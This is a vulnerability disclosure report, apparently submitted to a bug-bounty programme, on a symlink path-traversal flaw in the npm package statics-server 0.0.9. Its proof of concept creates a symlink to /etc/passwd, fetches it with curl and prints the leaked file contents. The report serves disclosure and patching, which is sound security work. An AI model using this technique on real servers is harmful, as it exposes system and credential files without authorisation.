Path traversal using symlink

I would like to report Path Traversal in statics-server # Module **module name:** statics-server **version:** 0.0.9 **npm page:** `https://www.npmjs.com/package/statics-server` ## Module Description > npm install statics-server -g Go to the folder you want to statics-server Run the server statics-server ## Module Stats > 80-100 downloads/month # Vulnerability ## Vulnerability Description > Path traversal using symlink. ## Steps To Reproduce: * Install statics-server `npm install statics-server -g` * Run statics-server ``` hawkeye@ubuntu:~/App/$ statics-server 服务器已经启动 访问localhost:8080 ``` * Create a symlink inside your project directory. `$ ln -s /etc/passwd passwdsym` * Send request to get file. ``` hawkeye@ubuntu:~/$ curl localhost:8080/passwdsym root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-blocked:x:33:33:www-blocked:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin ... ``` {F583766} ## Patch > Providing a flag to disable/enable following symlinks. ## Supporting Material/References: - Ubuntu 19.04 - Node v10.15.2 - Npm 5.8.0 # Wrap up - I contacted the maintainer to let them know: [N] - I opened an issue in the related repository: [N] ## Impact It allows attacker to read content of arbitrary file on remote server.